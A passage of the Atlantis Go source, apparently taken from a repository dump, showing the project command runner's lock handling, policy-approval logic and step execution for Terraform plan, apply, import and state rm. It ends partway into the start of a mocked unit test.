as owners on any policy set(s).\n\tif policySetCfg.HasTeamOwners() {\n\t\t// A convenient way to access vcsClient. Not sure if best way.\n\t\tuserTeams, err := p.VcsClient.GetTeamNamesForUser(p.Logger, ctx.Pull.BaseRepo, ctx.User)\n\t\tif err != nil {\n\t\t\tctx.Log.Err(\"unable to get team membership for user: %s\", err)\n\t\t\treturn nil, \"\", err\n\t\t}\n\t\tteams = append(teams, userTeams...)\n\t}\n\tisAdmin := policySetCfg.Owners.IsOwner(ctx.User.Username, teams)\n\n\tvar failure string\n\n\t// Run over each policy set for the project and perform appropriate approval.\n\tvar prjPolicySetResults []models.PolicySetResult\n\tvar prjErr error\n\tallPassed := true\n\tfor _, policySet := range policySetCfg.PolicySets {\n\t\tisOwner := policySet.Owners.IsOwner(ctx.User.Username, teams) || isAdmin\n\t\tprjPolicyStatus := ctx.ProjectPolicyStatus\n\t\tfor i, policyStatus := range prjPolicyStatus {\n\t\t\tignorePolicy := false\n\t\t\tif policySet.Name == policyStatus.PolicySetName {\n\t\t\t\t// Policy set either passed or has sufficient approvals. Move on.\n\t\t\t\tif policyStatus.Passed || (policyStatus.Approvals == policySet.ApproveCount) {\n\t\t\t\t\tif !ctx.ClearPolicyApproval {\n\t\t\t\t\t\tignorePolicy = true\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t// Set ignore flag if targeted policy does not match.\n\t\t\t\tif ctx.PolicySetTarget != \"\" && (ctx.PolicySetTarget != policySet.Name) {\n\t\t\t\t\tignorePolicy = true\n\t\t\t\t}\n\t\t\t\t// Increment approval if user is owner.\n\t\t\t\tif isOwner && !ignorePolicy && (ctx.User.Username != ctx.Pull.Author || !policySet.PreventSelfApprove) {\n\t\t\t\t\tif !ctx.ClearPolicyApproval {\n\t\t\t\t\t\tprjPolicyStatus[i].Approvals = policyStatus.Approvals + 1\n\t\t\t\t\t} else {\n\t\t\t\t\t\tprjPolicyStatus[i].Approvals = 0\n\t\t\t\t\t}\n\t\t\t\t\t// User matches the author and prevent self approve is set to true\n\t\t\t\t} else if isOwner && !ignorePolicy && ctx.User.Username == ctx.Pull.Author && policySet.PreventSelfApprove {\n\t\t\t\t\tprjErr = errors.Join(prjErr, fmt.Errorf(\"policy set: %s the author of pr %s matches the command commenter user %s - please contact another policy owners to approve failing policies\", policySet.Name, ctx.Pull.Author, ctx.User.Username))\n\t\t\t\t\t// User is not authorized to approve policy set.\n\t\t\t\t} else if !ignorePolicy {\n\t\t\t\t\tprjErr = errors.Join(prjErr, fmt.Errorf(\"policy set: %s user %s is not a policy owner - please contact policy owners to approve failing policies\", policySet.Name, ctx.User.Username))\n\t\t\t\t}\n\t\t\t\t// Still bubble up this failure, even if policy set is not targeted.\n\t\t\t\tif !policyStatus.Passed && (prjPolicyStatus[i].Approvals != policySet.ApproveCount) {\n\t\t\t\t\tallPassed = false\n\t\t\t\t}\n\n\t\t\t\tprjPolicySetResults = append(prjPolicySetResults, models.PolicySetResult{\n\t\t\t\t\tPolicySetName: policySet.Name,\n\t\t\t\t\tPassed:        policyStatus.Passed,\n\t\t\t\t\tCurApprovals:  prjPolicyStatus[i].Approvals,\n\t\t\t\t\tReqApprovals:  policySet.ApproveCount,\n\t\t\t\t})\n\t\t\t}\n\t\t}\n\t}\n\tif !allPassed {\n\t\tfailure = `One or more policy sets require additional approval.`\n\t}\n\treturn &models.PolicyCheckResults{\n\t\tLockURL:            p.LockURLGenerator.GenerateLockURL(lockAttempt.LockKey),\n\t\tPolicySetResults:   prjPolicySetResults,\n\t\tApplyCmd:           ctx.ApplyCmd,\n\t\tRePlanCmd:          ctx.RePlanCmd,\n\t\tApprovePoliciesCmd: ctx.ApprovePoliciesCmd,\n\t}, failure, prjErr\n}\n\nfunc (p *DefaultProjectCommandRunner) doPolicyCheck(ctx command.ProjectContext) (*models.PolicyCheckResults, string, error) {\n\t// Acquire Atlantis lock for this repo/dir/workspace.\n\t// This should already be acquired from the prior plan operation.\n\t// if for some reason an unlock happens between the plan and policy check step\n\t// we will attempt to capture the lock here but fail to get the working directory\n\t// at which point we will unlock again to preserve functionality\n\t// If we fail to capture the lock here (super unlikely) then we error out and the user is forced to replan\n\tlockAttempt, err := p.Locker.TryLock(ctx.Log, ctx.Pull, ctx.User, ctx.Workspace, models.NewProject(ctx.Pull.BaseRepo.FullName, ctx.RepoRelDir, ctx.ProjectName), ctx.RepoLocksMode == valid.RepoLocksOnPlanMode)\n\n\tif err != nil {\n\t\treturn nil, \"\", fmt.Errorf(\"acquiring lock: %w\", err)\n\t}\n\tif !lockAttempt.LockAcquired {\n\t\treturn nil, lockAttempt.LockFailureReason, nil\n\t}\n\tctx.Log.Debug(\"acquired lock for project.\")\n\n\t// Acquire internal lock for the directory we're going to operate in.\n\t// We should refactor this to keep the lock for the duration of plan and policy check since as of now\n\t// there is a small gap where we don't have the lock and if we can't get this here, we should just unlock the PR.\n\tunlockFn, err := p.WorkingDirLocker.TryLock(ctx.Pull.BaseRepo.FullName, ctx.Pull.Num, ctx.Workspace, ctx.RepoRelDir, ctx.ProjectName, command.PolicyCheck)\n\tif err != nil {\n\t\treturn nil, \"\", err\n\t}\n\tdefer unlockFn()\n\n\t// we shouldn't attempt to clone this again. If changes occur to the pull request while the plan is happening\n\t// that shouldn't affect this particular operation.\n\trepoDir, err := p.WorkingDir.GetWorkingDir(ctx.Pull.BaseRepo, ctx.Pull, ctx.Workspace)\n\tif err != nil {\n\n\t\t// let's unlock here since something probably nuked our directory between the plan and policy check phase\n\t\tif unlockErr := lockAttempt.UnlockFn(); unlockErr != nil {\n\t\t\tctx.Log.Err(\"error unlocking state after plan error: %v\", unlockErr)\n\t\t}\n\n\t\tif os.IsNotExist(err) {\n\t\t\treturn nil, \"\", errors.New(\"project has not been cloned–did you run plan?\")\n\t\t}\n\t\treturn nil, \"\", err\n\t}\n\tabsPath := filepath.Join(repoDir, ctx.RepoRelDir)\n\tif _, err = os.Stat(absPath); os.IsNotExist(err) {\n\n\t\t// let's unlock here since something probably nuked our directory between the plan and policy check phase\n\t\tif unlockErr := lockAttempt.UnlockFn(); unlockErr != nil {\n\t\t\tctx.Log.Err(\"error unlocking state after plan error: %v\", unlockErr)\n\t\t}\n\n\t\treturn nil, \"\", DirNotExistErr{RepoRelDir: ctx.RepoRelDir}\n\t}\n\n\tvar failure string\n\toutputs, err := p.runSteps(ctx.Steps, ctx, absPath)\n\tvar errs error\n\tif err != nil {\n\t\tfor {\n\t\t\terr = errors.Unwrap(err)\n\t\t\tif err == nil {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\t// Exclude errors for failed policies\n\t\t\tif !strings.Contains(err.Error(), \"some policies failed\") {\n\t\t\t\terrs = errors.Join(errs, err)\n\t\t\t}\n\t\t}\n\n\t\tif errs != nil {\n\t\t\t// Note: we are explicitly not unlocking the pr here since a failing policy check will require\n\t\t\t// approval\n\t\t\treturn nil, \"\", errs\n\t\t}\n\t}\n\n\t// Separate output from custom run steps\n\tvar index int\n\tvar preConftestOutput []string\n\tvar postConftestOutput []string\n\t// Initialize policySetResults as empty slice instead of nil to prevent\n\t// \"unable to unmarshal conftest output\" error when outputs array is empty\n\tpolicySetResults := []models.PolicySetResult{}\n\n\tinputPolicySets := ctx.PolicySets.PolicySets\n\tfor index, output := range outputs {\n\t\tif !ctx.CustomPolicyCheck {\n\t\t\terr = json.Unmarshal([]byte(strings.Join([]string{output}, \"\\n\")), &policySetResults)\n\t\t\tif err == nil {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tpreConftestOutput = append(preConftestOutput, output)\n\t\t} else {\n\t\t\t// Using a policy tool other than Conftest, manually building result struct\n\t\t\tpolicySetName := \"Custom\"\n\t\t\tif index < len(inputPolicySets) {\n\t\t\t\tpolicySetName = inputPolicySets[index].Name\n\t\t\t}\n\n\t\t\t// Handle empty output: treat as failure since it likely indicates misconfiguration\n\t\t\t// Non-empty output: parse conftest-style output to determine pass/fail\n\t\t\t// Check for actual failures (> 0), not just the word \"fail\"\n\t\t\tvar passed bool\n\t\t\tvar policyOutput string\n\t\t\tif output == \"\" {\n\t\t\t\tpassed = false\n\t\t\t\tpolicyOutput = \"WARNING: Policy check produced no output. This may indicate a misconfiguration.\"\n\t\t\t} else {\n\t\t\t\t// Use regex to check for actual failures (> 0), not just the word \"fail\"\n\t\t\t\t// Matches patterns like \"1 failure\", \"2 failures\", \"10 failures\", or JSON \"failures\": [...]\n\t\t\t\tfailureRegex := regexp.MustCompile(`([1-9][0-9]* failure|failures\": \\[)`)\n\t\t\t\thasFailures := failureRegex.MatchString(output)\n\t\t\t\t// Also check for FAIL prefix (conftest error output)\n\t\t\t\thasFailPrefix := strings.HasPrefix(strings.TrimSpace(output), \"FAIL\")\n\t\t\t\tpassed = !hasFailures && !hasFailPrefix\n\t\t\t\tpolicyOutput = output\n\t\t\t}\n\n\t\t\tpolicySetResults = append(policySetResults, models.PolicySetResult{PolicySetName: policySetName, PolicyOutput: policyOutput, Passed: passed, ReqApprovals: 1, CurApprovals: 0})\n\t\t\tpreConftestOutput = append(preConftestOutput, \"\")\n\t\t}\n\t}\n\n\t// Warn if custom policy check has mismatch between configured policy sets and outputs.\n\t// Note: With empty output preservation, this warning now only triggers when workflow steps\n\t// are completely missing, not when a step returns empty output.\n\tif ctx.CustomPolicyCheck {\n\t\tif len(policySetResults) < len(inputPolicySets) {\n\t\t\tctx.Log.Warn(\"Configured %d policy sets but only received %d outputs. Policy sets without outputs: %v. Check your workflow configuration.\",\n\t\t\t\tlen(inputPolicySets),\n\t\t\t\tlen(policySetResults),\n\t\t\t\tgetMissingPolicySetNames(inputPolicySets, len(policySetResults)))\n\t\t} else if len(policySetResults) > len(inputPolicySets) {\n\t\t\tctx.Log.Warn(\"Received %d outputs but only %d policy sets configured. Excess outputs will use 'Custom' as name.\",\n\t\t\t\tlen(policySetResults),\n\t\t\t\tlen(inputPolicySets))\n\t\t}\n\t}\n\n\t// Check if we have any policy check results\n\t// For non-custom policy checks (conftest), empty results means JSON parsing failed\n\t// For custom policy checks, empty results when policy sets are configured means the check failed\n\tif len(policySetResults) == 0 {\n\t\tif !ctx.CustomPolicyCheck {\n\t\t\t// Conftest should have produced JSON output\n\t\t\treturn nil, \"\", errors.New(\"unable to unmarshal conftest output\")\n\t\t} else if len(inputPolicySets) > 0 {\n\t\t\t// Custom policy check with configured policy sets but no results - this is a failure\n\t\t\treturn nil, \"\", errors.New(\"custom policy check produced no results despite configured policy sets\")\n\t\t}\n\t\t// Custom policy check with no configured policy sets and no results - this is OK\n\t}\n\n\tif len(outputs) > 0 {\n\t\tpostConftestOutput = outputs[(index + 1):]\n\t}\n\n\tresult := &models.PolicyCheckResults{\n\t\tLockURL:            p.LockURLGenerator.GenerateLockURL(lockAttempt.LockKey),\n\t\tPreConftestOutput:  strings.Join(preConftestOutput, \"\\n\"),\n\t\tPostConftestOutput: strings.Join(postConftestOutput, \"\\n\"),\n\t\tPolicySetResults:   policySetResults,\n\t\tRePlanCmd:          ctx.RePlanCmd,\n\t\tApplyCmd:           ctx.ApplyCmd,\n\t\tApprovePoliciesCmd: ctx.ApprovePoliciesCmd,\n\t}\n\n\t// Using this function instead of catching failed policy runs with errors, for cases when '--no-fail' is passed to conftest.\n\t// One reason to pass such an arg to conftest would be to prevent workflow termination so custom run scripts\n\t// can be run after the conftest step.\n\t// Only log outputs as errors if policies did not pass, otherwise log at debug level\n\tif !result.PolicyCleared() {\n\t\tctx.Log.Err(strings.Join(outputs, \"\\n\"))\n\t\tfailure = \"Some policy sets did not pass.\"\n\t} else {\n\t\tctx.Log.Debug(\"policy check outputs %s\", strings.Join(outputs, \"\\n\"))\n\t}\n\n\treturn result, failure, nil\n}\n\nfunc (p *DefaultProjectCommandRunner) doPlan(ctx command.ProjectContext) (*models.PlanSuccess, string, error) {\n\t// Acquire Atlantis lock for this repo/dir/workspace.\n\tlockAttempt, err := p.Locker.TryLock(ctx.Log, ctx.Pull, ctx.User, ctx.Workspace, models.NewProject(ctx.Pull.BaseRepo.FullName, ctx.RepoRelDir, ctx.ProjectName), ctx.RepoLocksMode == valid.RepoLocksOnPlanMode)\n\tif err != nil {\n\t\treturn nil, \"\", fmt.Errorf(\"acquiring lock: %w\", err)\n\t}\n\tif !lockAttempt.LockAcquired {\n\t\treturn nil, lockAttempt.LockFailureReason, nil\n\t}\n\tctx.Log.Debug(\"acquired lock for project\")\n\n\t// Acquire internal lock for the directory we're going to operate in.\n\tunlockFn, err := p.WorkingDirLocker.TryLock(ctx.Pull.BaseRepo.FullName, ctx.Pull.Num, ctx.Workspace, ctx.RepoRelDir, ctx.ProjectName, command.Plan)\n\tif err != nil {\n\t\treturn nil, \"\", err\n\t}\n\tdefer unlockFn()\n\n\t// Clone is idempotent so okay to run even if the repo was already cloned.\n\trepoDir, err := p.WorkingDir.Clone(ctx.Log, ctx.HeadRepo, ctx.Pull, ctx.Workspace)\n\tif err != nil {\n\t\tif unlockErr := lockAttempt.UnlockFn(); unlockErr != nil {\n\t\t\tctx.Log.Err(\"error unlocking state after plan error: %v\", unlockErr)\n\t\t}\n\t\treturn nil, \"\", err\n\t}\n\tmergedAgain, err := p.WorkingDir.MergeAgain(ctx.Log, ctx.HeadRepo, ctx.Pull, ctx.Workspace)\n\tif err != nil {\n\t\tif unlockErr := lockAttempt.UnlockFn(); unlockErr != nil {\n\t\t\tctx.Log.Err(\"error unlocking state after plan error: %v\", unlockErr)\n\t\t}\n\t\treturn nil, \"\", err\n\t}\n\n\tprojAbsPath := filepath.Join(repoDir, ctx.RepoRelDir)\n\tif _, err = os.Stat(projAbsPath); os.IsNotExist(err) {\n\t\treturn nil, \"\", DirNotExistErr{RepoRelDir: ctx.RepoRelDir}\n\t}\n\n\tfailure, err := p.CommandRequirementHandler.ValidatePlanProject(repoDir, ctx)\n\tif failure != \"\" || err != nil {\n\t\treturn nil, failure, err\n\t}\n\n\toutputs, err := p.runSteps(ctx.Steps, ctx, projAbsPath)\n\n\tif err != nil {\n\t\tif unlockErr := lockAttempt.UnlockFn(); unlockErr != nil {\n\t\t\tctx.Log.Err(\"error unlocking state after plan error: %v\", unlockErr)\n\t\t}\n\t\treturn nil, \"\", fmt.Errorf(\"%s\\n%s\", err, strings.Join(outputs, \"\\n\"))\n\t}\n\n\treturn &models.PlanSuccess{\n\t\tLockURL:         p.LockURLGenerator.GenerateLockURL(lockAttempt.LockKey),\n\t\tTerraformOutput: strings.Join(outputs, \"\\n\"),\n\t\tRePlanCmd:       ctx.RePlanCmd,\n\t\tApplyCmd:        ctx.ApplyCmd,\n\t\tMergedAgain:     mergedAgain,\n\t}, \"\", nil\n}\n\nfunc (p *DefaultProjectCommandRunner) doApply(ctx command.ProjectContext) (applyOut string, failure string, err error) {\n\trepoDir, err := p.WorkingDir.GetWorkingDir(ctx.Pull.BaseRepo, ctx.Pull, ctx.Workspace)\n\tif err != nil {\n\t\tif os.IsNotExist(err) {\n\t\t\treturn \"\", \"\", errors.New(\"project has not been cloned–did you run plan?\")\n\t\t}\n\t\treturn \"\", \"\", err\n\t}\n\tabsPath := filepath.Join(repoDir, ctx.RepoRelDir)\n\tif _, err = os.Stat(absPath); os.IsNotExist(err) {\n\t\treturn \"\", \"\", DirNotExistErr{RepoRelDir: ctx.RepoRelDir}\n\t}\n\n\tfailure, err = p.CommandRequirementHandler.ValidateApplyProject(repoDir, ctx)\n\tif failure != \"\" || err != nil {\n\t\treturn \"\", failure, err\n\t}\n\n\tfailure, err = p.CommandRequirementHandler.ValidateProjectDependencies(ctx)\n\tif failure != \"\" || err != nil {\n\t\treturn \"\", failure, err\n\t}\n\n\t// Acquire Atlantis lock for this repo/dir/workspace.\n\tlockAttempt, err := p.Locker.TryLock(ctx.Log, ctx.Pull, ctx.User, ctx.Workspace, models.NewProject(ctx.Pull.BaseRepo.FullName, ctx.RepoRelDir, ctx.ProjectName), ctx.RepoLocksMode == valid.RepoLocksOnApplyMode)\n\tif err != nil {\n\t\treturn \"\", \"\", fmt.Errorf(\"acquiring lock: %w\", err)\n\t}\n\tif !lockAttempt.LockAcquired {\n\t\treturn \"\", lockAttempt.LockFailureReason, nil\n\t}\n\tctx.Log.Debug(\"acquired lock for project\")\n\n\t// Acquire internal lock for the directory we're going to operate in.\n\tunlockFn, err := p.WorkingDirLocker.TryLock(ctx.Pull.BaseRepo.FullName, ctx.Pull.Num, ctx.Workspace, ctx.RepoRelDir, ctx.ProjectName, command.Apply)\n\tif err != nil {\n\t\treturn \"\", \"\", err\n\t}\n\tdefer unlockFn()\n\n\toutputs, err := p.runSteps(ctx.Steps, ctx, absPath)\n\n\tp.Webhooks.Send(ctx.Log, webhooks.ApplyResult{ // nolint: errcheck\n\t\tWorkspace:   ctx.Workspace,\n\t\tUser:        ctx.User,\n\t\tRepo:        ctx.Pull.BaseRepo,\n\t\tPull:        ctx.Pull,\n\t\tSuccess:     err == nil,\n\t\tDirectory:   ctx.RepoRelDir,\n\t\tProjectName: ctx.ProjectName,\n\t})\n\n\tif err != nil {\n\t\treturn \"\", \"\", fmt.Errorf(\"%s\\n%s\", err, strings.Join(outputs, \"\\n\"))\n\t}\n\n\treturn strings.Join(outputs, \"\\n\"), \"\", nil\n}\n\nfunc (p *DefaultProjectCommandRunner) doVersion(ctx command.ProjectContext) (versionOut string, failure string, err error) {\n\trepoDir, err := p.WorkingDir.GetWorkingDir(ctx.Pull.BaseRepo, ctx.Pull, ctx.Workspace)\n\tif err != nil {\n\t\tif os.IsNotExist(err) {\n\t\t\treturn \"\", \"\", errors.New(\"project has not been cloned–did you run plan?\")\n\t\t}\n\t\treturn \"\", \"\", err\n\t}\n\tabsPath := filepath.Join(repoDir, ctx.RepoRelDir)\n\tif _, err = os.Stat(absPath); os.IsNotExist(err) {\n\t\treturn \"\", \"\", DirNotExistErr{RepoRelDir: ctx.RepoRelDir}\n\t}\n\n\t// Acquire internal lock for the directory we're going to operate in.\n\tunlockFn, err := p.WorkingDirLocker.TryLock(ctx.Pull.BaseRepo.FullName, ctx.Pull.Num, ctx.Workspace, ctx.RepoRelDir, ctx.ProjectName, command.Version)\n\tif err != nil {\n\t\treturn \"\", \"\", err\n\t}\n\tdefer unlockFn()\n\n\toutputs, err := p.runSteps(ctx.Steps, ctx, absPath)\n\tif err != nil {\n\t\treturn \"\", \"\", fmt.Errorf(\"%s\\n%s\", err, strings.Join(outputs, \"\\n\"))\n\t}\n\n\treturn strings.Join(outputs, \"\\n\"), \"\", nil\n}\n\nfunc (p *DefaultProjectCommandRunner) doImport(ctx command.ProjectContext) (out *models.ImportSuccess, failure string, err error) {\n\t// Clone is idempotent so okay to run even if the repo was already cloned.\n\trepoDir, cloneErr := p.WorkingDir.Clone(ctx.Log, ctx.HeadRepo, ctx.Pull, ctx.Workspace)\n\tif cloneErr != nil {\n\t\treturn nil, \"\", cloneErr\n\t}\n\tprojAbsPath := filepath.Join(repoDir, ctx.RepoRelDir)\n\tif _, err = os.Stat(projAbsPath); os.IsNotExist(err) {\n\t\treturn nil, \"\", DirNotExistErr{RepoRelDir: ctx.RepoRelDir}\n\t}\n\n\tfailure, err = p.CommandRequirementHandler.ValidateImportProject(repoDir, ctx)\n\tif failure != \"\" || err != nil {\n\t\treturn nil, failure, err\n\t}\n\n\t// Acquire Atlantis lock for this repo/dir/workspace.\n\tlockAttempt, err := p.Locker.TryLock(ctx.Log, ctx.Pull, ctx.User, ctx.Workspace, models.NewProject(ctx.Pull.BaseRepo.FullName, ctx.RepoRelDir, ctx.ProjectName), ctx.RepoLocksMode != valid.RepoLocksDisabledMode)\n\tif err != nil {\n\t\treturn nil, \"\", fmt.Errorf(\"acquiring lock: %w\", err)\n\t}\n\tif !lockAttempt.LockAcquired {\n\t\treturn nil, lockAttempt.LockFailureReason, nil\n\t}\n\tctx.Log.Debug(\"acquired lock for project\")\n\n\t// Acquire internal lock for the directory we're going to operate in.\n\tunlockFn, err := p.WorkingDirLocker.TryLock(ctx.Pull.BaseRepo.FullName, ctx.Pull.Num, ctx.Workspace, ctx.RepoRelDir, ctx.ProjectName, command.Import)\n\tif err != nil {\n\t\treturn nil, \"\", err\n\t}\n\tdefer unlockFn()\n\n\toutputs, err := p.runSteps(ctx.Steps, ctx, projAbsPath)\n\tif err != nil {\n\t\treturn nil, \"\", fmt.Errorf(\"%s\\n%s\", err, strings.Join(outputs, \"\\n\"))\n\t}\n\n\t// after import, re-plan command is required without import args\n\trePlanCmd := strings.TrimSpace(strings.Split(ctx.RePlanCmd, \"--\")[0])\n\treturn &models.ImportSuccess{\n\t\tOutput:    strings.Join(outputs, \"\\n\"),\n\t\tRePlanCmd: rePlanCmd,\n\t}, \"\", nil\n}\n\nfunc (p *DefaultProjectCommandRunner) doStateRm(ctx command.ProjectContext) (out *models.StateRmSuccess, failure string, err error) {\n\t// Clone is idempotent so okay to run even if the repo was already cloned.\n\trepoDir, cloneErr := p.WorkingDir.Clone(ctx.Log, ctx.HeadRepo, ctx.Pull, ctx.Workspace)\n\tif cloneErr != nil {\n\t\treturn nil, \"\", cloneErr\n\t}\n\tprojAbsPath := filepath.Join(repoDir, ctx.RepoRelDir)\n\tif _, err = os.Stat(projAbsPath); os.IsNotExist(err) {\n\t\treturn nil, \"\", DirNotExistErr{RepoRelDir: ctx.RepoRelDir}\n\t}\n\n\t// Acquire Atlantis lock for this repo/dir/workspace.\n\tlockAttempt, err := p.Locker.TryLock(ctx.Log, ctx.Pull, ctx.User, ctx.Workspace, models.NewProject(ctx.Pull.BaseRepo.FullName, ctx.RepoRelDir, ctx.ProjectName), ctx.RepoLocksMode != valid.RepoLocksDisabledMode)\n\tif err != nil {\n\t\treturn nil, \"\", fmt.Errorf(\"acquiring lock: %w\", err)\n\t}\n\tif !lockAttempt.LockAcquired {\n\t\treturn nil, lockAttempt.LockFailureReason, nil\n\t}\n\tctx.Log.Debug(\"acquired lock for project\")\n\n\t// Acquire internal lock for the directory we're going to operate in.\n\tunlockFn, err := p.WorkingDirLocker.TryLock(ctx.Pull.BaseRepo.FullName, ctx.Pull.Num, ctx.Workspace, ctx.RepoRelDir, ctx.ProjectName, command.State)\n\tif err != nil {\n\t\treturn nil, \"\", err\n\t}\n\tdefer unlockFn()\n\n\toutputs, err := p.runSteps(ctx.Steps, ctx, projAbsPath)\n\tif err != nil {\n\t\treturn nil, \"\", fmt.Errorf(\"%s\\n%s\", err, strings.Join(outputs, \"\\n\"))\n\t}\n\n\t// after state rm, re-plan command is required without state rm args\n\trePlanCmd := strings.TrimSpace(strings.Split(ctx.RePlanCmd, \"--\")[0])\n\treturn &models.StateRmSuccess{\n\t\tOutput:    strings.Join(outputs, \"\\n\"),\n\t\tRePlanCmd: rePlanCmd,\n\t}, \"\", nil\n}\n\nfunc (p *DefaultProjectCommandRunner) runSteps(steps []valid.Step, ctx command.ProjectContext, absPath string) ([]string, error) {\n\tvar outputs []string\n\n\t// Hold a read lock for the whole step run so clone/reset/merge cannot run in this dir until we're done.\n\tunlock := p.WorkingDir.GitReadLock(ctx.Pull.BaseRepo, ctx.Pull, ctx.Workspace)\n\tdefer unlock()\n\n\tenvs := make(map[string]string)\n\tfor _, step := range steps {\n\t\tvar out string\n\t\tvar err error\n\t\tswitch step.StepName {\n\t\tcase \"init\":\n\t\t\tout, err = p.InitStepRunner.Run(ctx, step.ExtraArgs, absPath, envs)\n\t\tcase \"plan\":\n\t\t\tout, err = p.PlanStepRunner.Run(ctx, step.ExtraArgs, absPath, envs)\n\t\tcase \"show\":\n\t\t\t_, err = p.ShowStepRunner.Run(ctx, step.ExtraArgs, absPath, envs)\n\t\tcase \"policy_check\":\n\t\t\tout, err = p.PolicyCheckStepRunner.Run(ctx, step.ExtraArgs, absPath, envs)\n\t\tcase \"apply\":\n\t\t\tout, err = p.ApplyStepRunner.Run(ctx, step.ExtraArgs, absPath, envs)\n\t\tcase \"version\":\n\t\t\tout, err = p.VersionStepRunner.Run(ctx, step.ExtraArgs, absPath, envs)\n\t\tcase \"import\":\n\t\t\tout, err = p.ImportStepRunner.Run(ctx, step.ExtraArgs, absPath, envs)\n\t\tcase \"state_rm\":\n\t\t\tout, err = p.StateRmStepRunner.Run(ctx, step.ExtraArgs, absPath, envs)\n\t\tcase \"run\":\n\t\t\tout, err = p.RunStepRunner.Run(ctx, step.RunShell, step.RunCommand, absPath, envs, true, step.Output, step.FilterRegexes)\n\t\tcase \"env\":\n\t\t\tout, err = p.EnvStepRunner.Run(ctx, step.RunShell, step.RunCommand, step.EnvVarValue, absPath, envs)\n\t\t\tenvs[step.EnvVarName] = out\n\t\t\t// We reset out to the empty string because we don't want it to\n\t\t\t// be printed to the PR, it's solely to set the environment variable.\n\t\t\tout = \"\"\n\t\tcase \"multienv\":\n\t\t\tout, err = p.MultiEnvStepRunner.Run(ctx, step.RunShell, step.RunCommand, absPath, envs, step.Output)\n\t\t}\n\n\t\t// Keep all policy_check outputs for custom policy checks to maintain positional alignment with policy sets\n\t\t// Empty outputs are still appended to prevent index mismatches\n\t\tif out != \"\" || (step.StepName == \"policy_check\" && ctx.CustomPolicyCheck) {\n\t\t\toutputs = append(outputs, out)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn outputs, err\n\t\t}\n\t}\n\treturn outputs, nil\n}\n\n// getMissingPolicySetNames returns the names of policy sets that don't have corresponding outputs\nfunc getMissingPolicySetNames(policySets []valid.PolicySet, receivedCount int) []string {\n\tvar missing []string\n\tfor i := receivedCount; i < len(policySets); i++ {\n\t\tmissing = append(missing, policySets[i].Name)\n\t}\n\treturn missing\n}\n"
  },
  {
    "path": "server/events/project_command_runner_test.go",
    "content": "// Copyright 2017 HootSuite Media Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the License);\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//    http://www.apache.org/licenses/LICENSE-2.0\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an AS IS BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n// Modified hereafter by contributors to runatlantis/atlantis.\n\npackage events_test\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\t\"os\"\n\t\"testing\"\n\n\t\"github.com/hashicorp/go-version\"\n\t. \"github.com/petergtz/pegomock/v4\"\n\t\"github.com/runatlantis/atlantis/server/core/config/valid\"\n\t\"github.com/runatlantis/atlantis/server/core/runtime\"\n\t\"github.com/runatlantis/atlantis/server/core/terraform\"\n\ttmocks \"github.com/runatlantis/atlantis/server/core/terraform/mocks\"\n\ttfclientmocks \"github.com/runatlantis/atlantis/server/core/terraform/tfclient/mocks\"\n\t\"github.com/runatlantis/atlantis/server/events\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/events/mocks\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t\"github.com/runatlantis/atlantis/server/events/models/testdata\"\n\tvcsmocks \"github.com/runatlantis/atlantis/server/events/vcs/mocks\"\n\tjobmocks \"github.com/runatlantis/atlantis/server/jobs/mocks\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n)\n\n// Test that it runs the expected plan steps.\nfunc TestDefaultProjectCommandRunner_Plan(t *testing.T) {\n\tRegisterMockTestingT(t)\n\tmockInit := mocks.NewMockStepRunner()\n\tmockPlan := mocks.NewMockStepRunner()\n\tmockApply := mocks.NewMockStepRunner()\n\tmockRun := mocks.NewMockCustomStepRunner()\n\trealEnv := runtime.EnvStepRunner{}\n\tmockWorkingDir := mocks.NewMockWorkingDir()\n\tmockLocker := mocks.NewMockProjectLocker()\n\tmockCommandRequirementHandler := mocks.NewMockCommandRequirementHandler()\n\n\trunner := events.DefaultProjectCommandRunner{\n\t\tLocker:                    mockLocker,\n\t\tLockURLGenerator:          mockURLGenerator{},\n\t\tInitStepRunner:            mockInit,\n\t\tPlanStepRunner:            mockPlan,\n\t\tApplyStepRunner:           mockApply,\n\t\tRunStepRunner:             mockRun,\n\t\tEnvStepRunner:             &realEnv,\n\t\tPullApprovedChecker:       nil,\n\t\tWorkingDir:                mockWorkingDir,\n\t\tWebhooks:                  nil,\n\t\tWorkingDirLocker:          events.NewDefaultWorkingDirLocker(),\n\t\tCommandRequirementHandler: mockCommandRequirementHandler,\n\t}\n\n\trepoDir := t.TempDir()\n\tWhen(mockWorkingDir.Clone(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](),\n\t\tAny[string]())).ThenReturn(repoDir, nil)\n\tWhen(mockLocker.TryLock(Any[logging.SimpleLogging](), Any[models.PullRequest](), Any[models.User](), Any[string](),\n\t\tAny[models.Project](), AnyBool())).ThenReturn(&events.TryLockResponse{LockAcquired: true, LockKey: \"lock-key\"}, nil)\n\n\texpEnvs := map[string]string{\n\t\t\"name\": \"value\",\n\t}\n\n\tctx := command.ProjectContext{\n\t\tLog: logging.NewNoopLogger(t),\n\t\tSteps: []valid.Step{\n\t\t\t{\n\t\t\t\tStepName:    \"env\",\n\t\t\t\tEnvVarName:  \"name\",\n\t\t\t\tEnvVarValue: \"value\",\n\t\t\t},\n\t\t\t{\n\t\t\t\tStepName: \"run\",\n\t\t\t},\n\t\t\t{\n\t\t\t\tStepName: \"apply\",\n\t\t\t},\n\t\t\t{\n\t\t\t\tStepName: \"plan\",\n\t\t\t},\n\t\t\t{\n\t\t\t\tStepName: \"init\",\n\t\t\t},\n\t\t},\n\t\tWorkspace:  \"default\",\n\t\tRepoRelDir: \".\",\n\t}\n\n\t// Each step will output its step name.\n\tWhen(mockInit.Run(ctx, nil, repoDir, expEnvs)).ThenReturn(\"init\", nil)\n\tWhen(mockPlan.Run(ctx, 